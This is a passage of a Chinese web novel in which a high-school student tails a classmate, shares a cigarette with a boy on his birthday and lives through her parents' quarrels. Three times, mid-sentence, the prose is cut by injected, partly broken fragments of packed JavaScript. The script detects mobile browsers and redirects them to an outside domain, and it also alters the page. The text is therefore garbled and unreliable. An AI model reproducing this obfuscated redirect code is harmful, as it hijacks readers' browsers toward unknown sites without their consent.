“好啦。” 傅研摸了摸宋佳月的脑袋笑说。 “没有关系,怎么处理都没关系。你不要有负担,你的任务就只是把这包东西放在他的冰箱。” 宋佳月心情复杂,自从上次把周念关进阁楼之后,每每见江池都会有负罪感,深怕他打心底里觉得自己是个坏女人不可深交。所以最近几次见面,她都不敢明目张胆地在他眼前蹦跶。如果这次被他发现又偷偷送来傅研包的饺子,那他肯定不会多看她一眼的。 太崩溃了。 于是她以‘好久未聚’为由叫了不少朋友围聚在江池家中,打算‘乘乱’把饺子放进冰箱。以为自己计划得天衣无缝,没想到还是被江池发现了。 当时她正走到计划的最后一步——合上冰箱,没想到还有一条缝隙的距离时,头顶响起他的声音。 “偷偷摸摸的,在干吗?” “……” 宋佳月身形一滞,感觉心脏都快从嘴里跳出来了。她慢慢仰起头,看清他快要耸成山的眉心。 “我……” “我看你冰箱里空空的,就给你包了点饺子。” “拿走。” “阿池……” “拿走,听见了没!” 周围的交谈声戛然而止,所有人不约而同地望向厨房。 宋佳月带着哭腔解释:“阿池,你别那么凶,这个饺子阿姨包了一个上午…” “滚。” 江池指着大门,重复道。 “带着你的东西给我滚!” 厨房动静越来越大,客厅里的人三三两两围过来替宋佳月解围。 “怎么回事儿啊,佳月怎么哭了?” “怎么啦?阿池你怎么能这样对佳月说话。” “人家姑娘家家的,你就不能冷静点。” “太不知足了,给你包饺子还被你嫌弃。” 徐明看了眼冰箱里的袋子,隐约能看到饺子的轮廓,再偏头去看江池,瞬间猜到了事情的来龙去脉。于是朝不明就里的大家做了个退散的手势。 “好了好了,少说几句。时间也不早了,要不我做东一起去吃火锅。门口有家新开的重庆火锅,听说特别辣,一般人吃不了。要不要去尝尝?” 没等人应,江池一把拉开抽屉,抽出袋子径直往门外走去。 宋佳月:“阿池!” 晚了,整个袋子都被他扔进了垃圾桶。 * 周日,周念照常会在图书馆度过一整天,有了竞赛培训这个幌子,课余时间反而自由,张宁不再时不时查岗,即使问起来,一句‘上课’就能应付。 她俯身整理书包,夹层中的竞赛资料露出封面一角,这本书在她得知自己没能参赛之后还是在看,一题不落地看了个遍,书下夹着一本厚厚的笔记本,上面密密麻麻地记录了每一道题的解题思路和步骤。 她把竞赛资料从书包里取出,指尖同斑驳的树影一起轻抚封面。 “好不甘心啊。” 她低声念叨。 “好不甘心。” 竞赛资料的归还期限到今天为止,周念没选择还书,而是缴纳了赔偿金。离开图书馆,她没回家,时间还早,这个点她应该还在‘培训’。 晚上七点,夕阳苟延残喘弥留天际,老街夜市的灯齐刷刷得亮起,街角的油垢污渍丝毫不影响食客的心情。杯酒碰撞,你来我往。这种生鲜排挡,大多数人是来吃个气氛而非口味。 漂洗碗筷的污水顺地势流向排水口,长年累月积出一块油垢地,周念绕过污水,跨过排水口,小心翼翼得穿过每一家店铺。 最终停在一家烧烤店外。门口揽客的老板热情招呼,问她吃不吃饭,周念摇摇头,老板一秒变脸,嫌弃地蹙起眉头,回到门口继续招揽过往行人。 “不吃就别影响人做生意。” 周念转头进了隔壁药房,店员问她想要什么,她指了指柜子上的口罩。 “口罩能单卖吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107892|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “一包十个十块钱,单买一个要两块。” “一个就行。” “好吧。” 付完钱,口罩被攥在手心,她没离开而是逗留在窗边的药架附近。店员问她是否需要什么,她依旧摇摇头。 她的目光停在对面的本地菜馆上,菜馆店面不大,正值饭点,进店的客人络绎不绝。有些客人来的晚没抢到位置,于是很自觉的搬来小凳子候在门外等叫号。 等了十分钟,一个熟悉的身影出现在画面中。 姜小小大约是从楼上下来的,她先去收银台驻留片刻像找人,没找到人又推门出来。门口有个老板模样的人边安抚等待客人的情绪边在路上分发菜单。姜小小笑脸盈盈地冲那人撒娇,没一会儿那人就缴械投降从钱包里取出几张红色纸币递到她手里。 姜小小把钱塞进小包,打了个电话就离开了。 周念见状跟了上去。 姜小小轻车熟路地避开每一个水洼,她甚至都不用低头就知道下脚的步子是大是小。原本两人相差不大的距离被她硬生生拉开差距,眼见着目标逐渐变小,周念不再顾及脚下,目光追随她而去。 路上姜小小又接了两个电话,她拐进边上一家奶茶店,出来时手里多了两杯奶茶。一杯奶茶原色,另一是粉色,看着像草莓口味的。 两杯奶茶被她提进附近的一家网咖。网咖规模不小,一到四楼的窗户都能映射出电脑屏幕的缤纷色。周念在网咖门口驻足几秒,带上口罩走了进去。 迎面而来的是一股呛人的烟味,周念拧了眉,环顾一楼,没发现姜小小。吧台显眼的位置分列了一到四楼的区别,二楼以上是无烟区,三四楼是包间。 网吧这种鱼龙混杂的地方很少出现书卷气息那么强烈的姑娘,网管从电脑前探出半个脑袋问她:“找人?” “刚刚那女孩,我们一起的。” 她轻晃手机解释。 “这里太吵了,打电话她没接。” 长得温善大抵只有一个好处,不容易被人怀疑,除非谎言太离谱,不然没人愿意花时间来细究真假。 网管食指向上指了指。 “四楼,405包厢。” “谢谢。” “开机的话需要身份证。” “不用,谢谢。” 四楼的走廊空荡荡的,包间里时不时传出游戏玩家愤怒的咒骂。周念站在走廊尽头,看着房门紧闭的405包间,有那么一秒她会质问自己,跟踪的意义是什么。她答不上来,只知道这件事始于姜小小,自然应该终于姜小小。 错在她,她没有理由可以置身事外。 半个小时后,405的门被打开,姜小小来时浓重的口红现在只剩下淡淡一层。那抹红色晕在嘴角,脖颈和胸口。肩带也松垮垮地耷拉下来。不难想象,刚刚里面发生了什么。 姜小小进厕所补妆,周念则退至楼道口,她蓦地想到什么折返回道405包间。可包间房门敞开,里头空无一人,只有那杯喝剩下的粉色底奶茶。 走了吗? 思及此,周念再次转回厕所,可惜姜小小也离开了。 12. 第 12 章 茶几上堆着三个空瓶,其中一个横卧着,瓶口时不时滴出一滴未喝完的酒。江池窝在沙发一角,左手握在酒瓶,另一只手漫无目的地按着遥控器,按到不耐烦了把遥控器随手扔向沙发。 频道停在一个调解节目上,里头一对夫妻操着一口不标准的普通话对骂。紧接着,两个人开始动手,调解员上前拉架,于是一群人莫名其妙地扭打起来。 凌乱的画面,聒噪的声音无一不让江池感到烦躁,他刚拿起酒瓶倏然想到三瓶半是他的极限,他还想出去走走,于是把瓶子放在桌上回厕所洗了个澡。 夜间的银城开始降温,没有太阳的炙烤,风也是温柔的。江池沿着江边漫无目的的行走,沿路没有风驰电掣的急车,也没有匆匆赶路的行人,除了江水拍岸的细声,一切都很安静。 裤兜里的手机在震动,信息是徐明发来的。 ——饿不饿,要不要打包点吃的。 这话没勾起食欲,反倒是勾出了烟瘾,江池依靠着栏杆,点了根烟,试图一点点消解掉烦躁的情绪。 有货船从远处驶来,鸣声厚重。少年的目光追逐船只由远及近,在船上他仿佛看到了儿时的自己,那是他第一次离开小鸟岛,他问父亲为什么要离开,父亲说因为要赚钱,要赚很多很多的钱,要给妈妈买一个大房子。想到这,他竟不自觉的冷笑起来。 船只将他的目光引到坡岸的台阶上。那里枯坐着一个人,浅色裤腿溅满墨色污水,及肩的短发被江风吹乱。她背着书包,双手抱膝,脑袋抵在膝盖上。好半晌,那人抬起头,长长地舒了口气,样子狼狈又消沉。 在遇到周念之前,江池的生活中很少出现‘命运’、‘缘分’诸如此类的巧合。但这一秒,‘缘分’这个词又一次蓦然出现在他脑海。当真会有那么一个人,在同一时间,同一地点,和自己拥有着相同的心绪。 银江的水波连绵起伏,撞上江岸,复又回头,绻着岸上的微光,像是一条条银白色项链,闪闪熠熠。在周念毫无焦距的眼神里形成无数个斑斓光点。 就这样大脑放空了好一会儿,她才又叹了口气。趁四下无人,她很想骂几句脏话发泄这糟糕的情绪,可话到嘴边却怎么也说不出口。她突然意识到自己已经被规训成为一个安分守己,乖巧懂事的三好生。潜移默化地成为和张宁一样,用说不说脏话,打不打架,成绩好坏把人区分成三六九等的俗人。 她再一次拿出那本竞赛资料,翻至书本末页的空白处,把无处发泄的情绪灌注在笔尖,用最隽秀工整的字迹书写愤怒。 真遗憾,树了我这样一个敌人。 “写什么?” “……” 周念笔尖一顿,‘人’字的一撇划过书页,她默默把书本合上。 “没写什么。” 江池挑起眉尾,大剌剌地坐在她下一个阶梯上。 “没写什么,需要像做贼一样偷摸着来江边写?” 周念微抿唇。 “真没写什么。” “情书?” 有什么文字比情书更难以示人,这是他下意识的想法,脱口而出的那秒根本没有细究过她写的情书会给谁,又写点什么。所以当周念直视他的眼睛,反问他‘你要看吗’时,江池当即一怔。 她的眼睛好像永远那么亮。 又问:“你想看吗?” 两人就这样对视了数秒,江池勾起唇角,漫不经心道:“看,为什么不看。” 周念把书摊开,将那几个字展露在他面前。 ——真遗憾,树了我这样一个敌人。 意识到自己自作多情,江池本能地嗤了声。他当然不知道这几个字是写给姜小小的。以为这是书呆子为了勉励自己写下的豪言壮语。觉得这种过分幼稚的行为有点可笑,又有点......可爱。 他转移话题道:“你怎么会在这里?” 周念实话实说:“心情不好吹吹风。” “你呢?” 江池却不诚实:“随便走走。” “喝过酒也会出来随便走走?” “……” “你身上有酒味。” “哦,那跟你一样,心情不好出来走走。” 两人有一句没一句的说着,江池从裤袋里取出烟盒,娴熟地抖出一根衔在唇间。江风拂过把烟雾吹向后方又很快散去,周念看着眼前丝丝绕绕的烟突然开口。 “借我一根。” “什么?” 江池诧异地回头。 “烟?” “嗯。” 周念很肯定:“借我一根烟。” “是借?” 他在借上加重了音。 周念听出他意有所指解释道:“我会还的,还有两个月前的钱,我都会还给你。” 原本也只是逗逗她,没想到她说得那么认真,江池不甚在意地‘哦’了声,将烟盒悬在半空。 “会吗?” 周念:“我可以学。” 江池:“怎么学?要我手把手教你?” “不用,看过就会了。” 她又伸手问他要打火机。 “火。” 江池递上打火机,饶有兴致地看她动作。她有模有样地夹起烟,火苗迸出,嘴里的烟慢慢靠近,到底是生疏,火还没碰到烟就被江风吹灭了。 再一次点火,她学着刚刚江池的模样用手护住火苗,可这风似乎卯足了劲跟她作对,无孔不入,再一次将火熄灭。 “算了。” 江池有意阻止,周念躲开他伸过来的手。 “再试一次。” 这次她没有点火,身体一挺,向前欺近。 江池从浓重的烟味中分辨出那股既熟悉又陌生的栀子香。香味渐浓他本能地向后微仰,几乎是一瞬间,领子被人用力扯住。 她嘴角几不可查地勾了勾。 “你怕什么?” 目光从他的眼睛下移到嘴唇,再从嘴唇沿着烟直到烟星。周念衔着烟慢慢靠近。咫尺间,他看到了她颤动的睫毛和那颗很小的山根痣。眼前的她从容淡定,认真专注,动作神情不沾染一点离经叛道的放纵。好像她根本就不是在点一支烟,而是在研究自己感兴趣的复杂领域。 她的鼻息轻柔温热,不间断的划过他的鼻尖,江池喉结一滚又想起夏日里的过堂风。 两端相触,周念吸了口气,那端的红点顺势烧了过来。 她得意地扬了扬唇角,目光再次触到他的眼睛。江池不躲不闪,以同样从容的,云淡风轻的眼神回应她。 “我能怕什么?” 也是,他能怕什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107893|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他能游刃有余地处理每一段暧昧拉扯。只一句话一个眼神,就能将身处下风的局势扭转回来。 周念直起身,长长地吸了口烟,烟在肺部百转千回,被慢慢吐出,最后消散在风里。当她准备享受第二口时,手忽然被人钳住。 江池不知什么时候站起来,居高临下地看她。他把她手里的烟拔出来扔地上,用脚碾碎。 “算了,你不适合。” 周念错愕:“为什么?” 江池也说不出为什么,就是莫名的,毫无理由的觉得不适合。大概在他固化的思维里,抽烟就是学坏的标致,而自己不愿意当那个误人子弟的施教者。 他吸了最后一口烟,把烟扔在同一个位置,碾灭。 “你要不痛快就回去洗个澡,看看电视,打打游戏。” “吸烟不适合你。” 还来不及继续追问,他就走了,头也不回的。周念看着地上的烟头忽然扯了扯唇角,分不清到底是他良心发现,还是在伪装。 回程路上,银城又下起了雨,是突如其来的急风骤雨。回家的路被淹了,周念只得让司机绕道而行。这一耽搁,比以往到家晚了半个小时。她踌躇着打开手机,意外的是没有张宁发来的任何信息。 她先去超市买了一次性牙刷和牙膏,去附近的公共厕所反复洗漱三遍,确定身上没有一点烟味才敢往家里走。 整栋小楼只有厨房灯亮着。 周念把书包放在沙发上,借着散出的光线来到厨房。厨房积了一地水,她刚看清楚,凌空的脚倏地缩了回去。 “漏水了?”/“才回来?” 两人同时开口,张宁穿着拖鞋,蹲在地上检查水池的下水管道。是她先做回答。 “下水道堵了,这个点维修工不愿意上门。” 周念回身去换拖鞋,声音从客厅传过来。 “今天的雨太大,路上堵车了,所以才晚了点。” 换完鞋周念往楼梯上走了几步,把二楼的房间扫了一圈后,复又下楼回到厨房。 “爸呢?” 提起周宏伟,本就不耐烦的张宁立刻愠怒起来,她把手里的剪刀重重摔进水池。 “死外头了吧。” 周念深吸气,又无奈叹出。 “您别忙了,这种事情就等爸回来处理吧。” “他能处理什么?” “你见过他为这个家做过一件事?” “他给你做过一顿饭?洗过一次衣服?你见他换过一个灯泡吗?” 说着说着愤怒转变成冷笑。 “是我活该,当初看中他文化程度高,嫁给他以后心疼他,这不让他干,那不让他干。” “哼,养尊处优养得都不知道自己是谁了,竟然在外面找……” 眼看着自己要说漏嘴了,张宁即时住嘴,而后不耐的朝周念挥了挥手。 “抓紧时间复习去,还有多少时间自己心里没数吗?” 周念默了秒点了点头,走到半路鬼使神差地折返回来。 “为什么不离婚呢?” 张宁惊愕地转过头来。 “你知不知道你在说什么?” “你想气死我是不是?是不是你爸让你来……” “妈!” “我先上楼复习了。” 13. 第 13 章 九月,银城刚出伏又逢秋老虎,太阳依旧毒辣。周念站在走廊上面无表情地看着操场上列队的学生,有几个晒得像蔫掉的小花,脑袋差点垂到地上。队伍前的体育老师不知说了点什么,队伍一下子炸开,隐隐约约听到些抱怨声。 “老师,您要热死我们啊。” 不多时,方阵以线性围着操场跑了起来。 “鬼天气,人都要化了。” 叶琳边抹着湿透的前额边从厕所走出来,她顺着周念的目光看去,瞬间同情心爆表。 “啧啧啧,还把不把人当人啊。38度跑八百米会死人的。” 说完,许久没人搭话。 她偏头看了眼周念。 “小念?” “嗯?” 周念这才缓过神。 “你好了?” “好了,走吧。” “嗯。” 离开前,周念又回头看了眼树荫下以例假为由逃避长跑的姜小小。她正坐在石阶上与周围的同学说话,偶尔开心的大笑,偶尔伸手打闹。无忧无虑得好像不会有任何事能左右她的心情。 “对了,晚自习我得开溜,到时候老师问起来你要帮我打掩护。” 叶琳说:“今天江池生日,赵樾他们给他组了局,我也去热闹热闹。” 周念若有所思的‘嗯’了声。 叶琳又说:“原本赵樾想请你一起去的,但是我知道你最近比较忙,而且你对这种聚会没兴趣,就帮你拒绝了。” “也是怪了,赵樾这人最近老想拉你一起参加。不会是有什么猫腻吧。” 她贼兮兮地打量周念,开玩笑说。 “贱|人,还想姐妹通吃?” 周念气笑了,一本正经地回道:“其实我早就觊觎他了。” 叶琳摇了摇食指。 “这我还是放心的,以我对你的了解,没有任何一个男人能胜过一本书在你心里的地位。如果有,那肯定是他对你下蛊了。” 周念:“......” 第一节晚自习下课,叶琳给周念发了一张图,主角是今天的寿星江池,他头戴生日帽,脸颊被抹了蛋糕,耷拉着眼皮一脸不耐地看着插满蜡烛的蛋糕。 他应该是被迫的。 周念匆匆瞥了眼,把手机塞回书包。 看了一天书,眼睛酸涩,周念走出教室在走廊上扭扭脖子做做操。远眺时视线被刚出教室门的姜小小吸引,她是背着书包下楼的,很显然,她也请假了。 在以成绩定好坏的小社会里,优等生总是有特权的。周念若想走,只要随意找个借口就能糊弄过关。所以等她走到校门口时,刚好收到班主任的批准。 姜小小的第一个目的地是彩妆店,彩妆店毗邻大学城,售卖的都是学生消费得起的平价货。她在货架上挑挑拣拣选了一只睫毛膏,对着镜子描了几笔,,随后又让店员推荐了一款口红,颜色是正红色同她的性格一样热烈而显眼。 她娴熟地将口红一抹到底,然后轻抿嘴唇将颜色晕开。一切就绪,对着镜子颇为满意的笑了笑。 隔着街道和车流,将一切看在眼里的周念随之勾起唇角。 她想,逃课,打扮,这般费心费力,一定是去见很重要的人吧。 姜小小的第二个目的地是一家奶茶店,奶茶店是连锁的,品牌耳熟能详。周念记得上一次也是这个牌子,不出所料,等她从店里出来时依然是提着两杯奶茶,与上次不同是其中一杯换了口味,而另一杯依旧是草莓味的。 不知不觉间,周念已经跟着姜小小走到了江城路,江城路是银城最早的市中心,是集吃喝玩乐于一体的商业街。在新城还是一片废墟荒地时,江城路就已经熙熙攘攘,热闹非凡了。纵使近几年更多的人潮都涌向新城,但一遇到要聚会,娱乐等消遣时人们总会想起江城路。 所以即便江城路没了当初人声鼎沸的盛况,但路上行人两相交汇时还是会出现侧肩避让的场面。 随着两人之间的人头越来越多,周念不得不加快脚步,可不管她如何心无旁骛的盯着姜小小,两个人还是会被人群冲开。 最终,因为一个红灯的距离,周念眼睁睁地看着姜小小挤进对街的人群中,在往来行人的掩护下,慢慢的消失在她视野里。 为什么没有跟紧一点? 为什么会来江城路? 为什么刚好就是红灯? 为什么一个红灯会有60秒? 周念站在原地无声自问,60秒的时间足够她走入任何一家店,拐进任何一个巷子,坐上任何一辆车。 她沮丧着深深吸气,停在原地看红灯变绿复又变红。她看了眼手机晚上八点,距离她到家还有两个小时,与其在这里自怨自艾不如找个地方看看书。万一运气好能再次遇到姜小小,抱着这样的心态,周念穿过了街道。 * 包厢里酒足饭饱的少年变着花样消磨时间,斗酒的斗酒,闲聊的闲聊,总之三三两两谁也不想提早散场。江池独自靠窗点烟,青烟弥漫,眨眼间就模糊了窗外的光景。有那么一瞬,他蓦然想起银江江畔那张近在咫尺的脸,在那之后的好几个夜晚,她的眼神,她的睫毛,她的嘴唇连同她那颗微小的山根痣都霸道地扎根在他脑海,挥散不去。 香烟不是好东西,蒙眼也蒙心。 他用手在空气中挥打,试图驱赶着障目的烟气。 为了让烟气散得更快,江池干脆把窗户拉开,他倚在窗台百无聊赖得远眺,路灯描摹出整条江城路的轮廓,笔直板正,一路绵延到尽头,没有一点江南的婉转灵动。 不好看。 他正要关窗,下探的眼睛很快被底下的人所吸引。那人穿着校服,背着书包安静的伫立在红绿灯前,挂着跟那晚一样沮丧的脸。他饶有兴致的看了会儿,随后拿出手机给周念发了信息。 ——在哪儿? ——学校。 ——撒谎。 江池居高临下地看着周念收到消息时下意识的动作——她在找他。他很想知道被人拆穿谎言后周念会怎么回答,是继续撒谎还是承认撒谎。 没想到都不是,是一条语音。 ——江池,生日快乐。 江池的心陡然一跳,像在毫无防范的情况下被人猛地撞了一下。他在手机里输入:来找我的?顿了顿,又逐字删除。 很快,屏幕上出现新的消息。 ——我来找叶琳。 ——找叶琳? ——找叶琳需要撒谎吗? 江池低头俯看,活动的画面中只有她傻站在马路旁,盯着屏幕,像在斟酌该如何回答。他弯唇笑笑懒得再刁难她,直接给了包厢号。 ——金座12楼,1208号。 足足十分钟周念都没有到达1208包厢。起初江池会往下张一眼,或者目光不甚在意地划过包厢门,后来他干脆坐回座位横着手机玩游戏。就在眼神又一次漫不经心得瞟过包厢门时,一股浓重的酒精味袭近。 徐明把他边上的椅子用腿勾过来,一屁股坐下,脑袋凑到他跟前。 “中邪了?” “我?” 江池偏头看了他一眼。 “怎么说?” 徐明:“门那儿有什么?你老盯着门看什么?” 江池低头继续玩游戏。 “你醉了吧,哪只眼睛看见我盯着门看了。” 徐明眉头深蹙上下打量他,脸上挂着一副大事不妙的忧心模样。 “不应该呀,按照我爷爷的说法,只有小孩和狗才看得到正常人看不到的东西。” 江池无语地斜过眼,轻飘飘地来了句:“滚。” 游戏以失败告终,江池起身离开包厢,他走到电梯口才恍然发现徐明也不全错,不是中邪怎么会没事跑出来等电梯。 电梯口的led灯显示箭头向上,数字从1开始增大,有人上来。江池寻了个不显眼的角落位置摆弄手机。 电梯‘叮’的一声停在了12楼。 周念从电梯里走出来,电梯正对的包间是1205。1208的箭头标识在右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107894|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,她顺着标识右拐向前。 “我以为你爬楼上来的,那么慢。” 周念一顿,向后看去,少年的脸上愠色难掩。 “你在等我吗?” 江池:“没有。” 周念走到他身边,手心一摊,露出一包烟。 “还给你。” 江池垂眸看,是那晚借她的牌子。 “你去买烟了?” “嗯,我说过会还。” 周念将烟递近,示意他收下。 “还你一包,剩下的当作那顿饭钱的利息。” 江池轻嗤:“真会算账。” 周念反手摸了摸书包,掏出一个钥匙扣,上面挂着一条贝壳质地的白色半月斗鱼,鱼尾飘逸,鱼身泛出异彩。 “生日快乐。” 江池:“送我的?” 周念:“要是不喜欢的话......” 江池在她收回手的前一秒把钥匙扣抢了过来。 “买都买了。” 他把鱼掂在手心,看了眼鱼又抬头看了眼周念,没由来地闷笑道:“所以你来找叶琳,顺道给我买了礼物?” 还是准备了礼物,顺道来找叶琳? ——“你觉得你这样有意思?” 还没等周念回答,过道传来赵樾的声音。他从厕所出来,转身恰好撞上两人的目光。 赵樾见到周念的第一时间,是把手机从耳边移开,悬在身侧。他迅速敛起对电话那头人的不耐,转而意味深长地看着两人。 “刚刚佳月还在问阿池在那儿,我说怎么找不着人,原来是跟周老大在一起。” 江池问:“你去哪儿?” 包厢在厕所的另一头,很显然赵樾是要下楼。 赵樾指了指手机:“我一朋友跟人打架了,就在这儿附近,我去看看。” 江池:“要帮忙吗?” 赵樾摆摆手:“不用,小事儿。” 周念望着赵樾离开的背影,喃喃道:“他还有你不认识的朋友?” 声音太小,江池听不真切:“你说什么?” 周念:“没什么。” 叶琳后知后觉地发现,周念和江池的关系不一般。不一般到什么程度呢,就是按周念的性子,逃课如同犯罪,在张宁制定的金科玉律里,她为了一个男人逃课,不判个死刑也得是无期。 尽管周念的说辞中,她逃课原因是找她而不是江池。 为什么那么笃定呢,大概就是周念同江池进门的瞬间,一些碎语闲言也随之传进她的耳朵。 ——刚刚还在赌周念来不来呢。 ——所以说读书再好也跟我等凡人一样喜欢帅哥。 ——佳月得伤心咯。 叶琳挨近周念,想八卦点什么又无从说起,还没等她开口,周念倒对她手里的奶茶来了兴趣。 “这是你买的?” 周念扫了眼杯盘狼藉的桌面,看向那杯孤零零的奶茶,与姜小小手里的那杯是一个牌子,一样的草莓口味。 “奶茶?” “嗯。” “赵樾点的外卖。” “怎么只有一杯。” 说到这,叶琳就来气,一桌子的人巴巴地看着自己吃独食,别提有多难受了。 “也不知道他哪根筋抽了,非说有个口味奶茶很好喝就说要给我去楼下买,谁知道他只买一杯。” 买上来的时候还有人打趣着说:阿越就是宠嫂子,只紧着嫂子吃。当时叶琳恨不得找个地洞往里钻。 周念把奶茶杯子转了个面,看清贴条上的信息。 草莓奶昔(风华店) 风华店,正是姜小小买奶茶的那家分店。 周念又问:“赵樾喜欢草味口味?” 她的问题过于跳脱,叶琳愣了一秒,马上点头:“对啊,他就这毛病,跟个女孩子似的什么东西都喜欢草莓口味。奶茶也只喝草莓味的。” 那晚,赵樾没再回来,只是打了电话交代了原因:随朋友一同去了派出所。 14. 第 14 章 九月第二周的周末是中秋节,张宁一下午都在张罗晚上的饭菜。周念看了会儿书睡了个短觉起来给她打下手。 闲聊不外乎那几句。 “考得怎么样?” “比第二名高多少?” “跟其他学校比呢?” 周念一一回答,她又开始老生常谈。 “把握好时间,下课也别休息能看几个单词看几个单词这样你才能跟别人拉开距离。周末尽量呆在家里,你跟琳琳不一样,她是艺考生,文化分低得多,不能她去玩,你也跟着出去。” 周念削完土豆说了声好,环顾一圈问道:“今晚有哪些菜?” “红烧鱼,糖醋小排,酱蟹,海蜇丝,三鲜汤和几个蔬菜。” 张宁边说边掀开一旁的黑色塑料袋。 “还有你爱吃的虾,一会儿做蒜蓉粉丝虾。” 周念弯起笑眼:“好。” 客厅里,周宏伟手拿报纸,眼睛有意无意地瞥向电视机。里面播放着国际新闻,关乎战争和难民。周念路过时用余光扫了他一眼,顿时觉得他很多时候都像一尊佛,一尊受人供奉养尊处优的佛。 好像也不是,起码佛祖对香客是精神反馈的,而周宏伟对张宁是没有的。 他把路过的周念叫住。 “小念,你小姑到了,她手头东西多拿不下,你去帮她拿点。” “好。” 周宏珊还没成家,这种团聚的佳节往往都在周念家过,她把车停在弄堂里,见周念来招呼她到后备箱等着。 “你猜我给你带了什么?” “什么?” “杨梅罐头。” 后备箱一开,两大箱杨梅罐头进入眼帘,边上还有一些油米水果。不出意外应该是单位发的。 “……” “你姑我就知道你爱吃杨梅,所以把医院超市的杨梅罐头都给你买了。” “……” “但我一个人也吃不完。” “吃不完拿去学校分,你这人平时太文静了,别听你妈的只知道读书,维持人际关系也很重要。” “我也没那么文静。” 周念想为自己辩驳几句,想了想没必要。 周宏珊提着大米和油鬼使神差地问道。 “找对象了吗?” “怎么这么问?” “这个年纪找对象才好,年轻,感情就纯粹。你看我,找着找着找剩了,在最应该稳当的年纪还妄想着寻求灵魂伴侣。跟人家相个亲,我在乎对方性格秉性,人家问我工资多少。哎,烦啊。” 周宏珊就是这样,跟任何人交流都没有年龄鸿沟,即便对方是小自己二十岁的侄女她也能像闺蜜一样侃侃而谈。 周念情不自禁笑了笑:“你这些话别被我妈听见。” 周宏珊对张宁‘成绩至上’的教育方式颇有微词,她忍不住朝天翻了个白眼:“你不说她怎么会知道,恋爱这种事,偷偷地才刺激。” “……” “对了,今晚吃什么?” “红烧鱼,小排,海蜇。” “呦。都是你爸爱吃的,吵归吵,我嫂子对我哥还是上心。” 姑侄两有说有笑地走着,距离家门两米开外,门内就传来一阵‘炸裂’声。 “张宁你什么意思,三番四次摆臭脸给谁看?” “我什么意思?你自己做了什么你自己不清楚吗?” “我发现你越来越像疯子了,简直无可救药。” “你说什么?你再说一遍。” “我说你像疯子,每天不是猜忌这个就是猜忌那个,像泼妇一样骂骂骂。” 周念停在门外,提箱子的手紧了紧。 周宏珊腾出一只手轻拍她的后背:“没事,老夫老妻吵几句很正常,我去说说他们。” 调整情绪,深呼吸,开门。 屋内争吵戛然而止。 “嫂子,看我带了什么来?” 周宏珊没事人一样冲着张宁笑,她把东西搁在桌子上,边说边吐槽:“今年医院也不知道怎么搞的就发了点油和米,抠门的要死。” 有人在,张宁不好发作,勉强干笑。 “下次别拿了,家里又不是没有,带过来也不嫌累。” “这有什么累的,后备箱一放。” 她从包里拿出一套护肤品,递上去:“给。” “我不用。” “不是买的,别人送的,我肤质不适合才给你的。你还不了解我,我那么小气的性格,怎么舍得给你。” 拒绝不了,张宁只能收下。 “下次别给我了。” “没有下次。” 气氛总算有所缓和,周念默默松了口气转去厨房拿碗筷。 有周宏珊在饭桌不至于冷场。只见她大快朵颐一番还不忘夸赞张宁厨艺了得,一番恭维下来,张宁的心情好了不少,原本愁云惨淡的脸现在晴空万里。 “哥你可真有福气,嫂子做饭又好吃,家里打理得又干净,可不像我不仅五谷不分,连那狗窝都乱七八糟的。” 周宏伟没说话,只是冷冷地勾了勾唇角。这个细微的动作,周念看在眼里,她觉得这个冷笑特别扎眼,于是也跟着勾了唇。 吃完晚饭,夜幕已深,天公很给面子,今晚的天气适合赏月。房子二楼有个露台,周宏珊提议去露台吃月饼赏月。 “我不去,晚上有点事。” 周宏伟换好衣服准备出门。 张宁端着切好的水果质问:“大晚上你去哪儿?” 她语气强硬,周宏伟听着不舒服,说话的时候口气很差。 “不用你管。” “迫不及待去见狐狸精?” “张宁!” 话毕,几个人僵在客厅,还没等周宏珊开口,周宏伟重重摔门而去。 看着旁边一言不发的周念,周宏珊想说点什么,却无从说起。 “小姑。” “啊?” 小姑娘脸上异常镇定,好像对刚刚所发生的事情习以为常。 “小姑,你先把月饼拿去露台。” 这是支开她呢。 周宏珊也不是没眼力劲的人,回了个好就独自去了露台。 张宁呆呆地望着门,半晌端着水果默默回到厨房。周念跟在她后面看着她一言不发安安静静地洗碗。 她从背后小心翼翼地环抱张宁的腰,是讨好的口吻。 “妈,今晚的饭特别好吃。” 张宁突然拉开她的手,匆匆脱下围裙。 “我出去一下。” “去哪儿?” “去超市买点东西,你陪着你小姑,我马上回来。” * 原本江池想一觉睡过去,睡到第二天早上。可有人偏不让他如意。手机的震动声在晚八点割裂他的梦。 电话是宋佳月打来的。 “江池,吃月饼吗?” 江池手背搁在额前,皱了皱眉。 “不吃。” 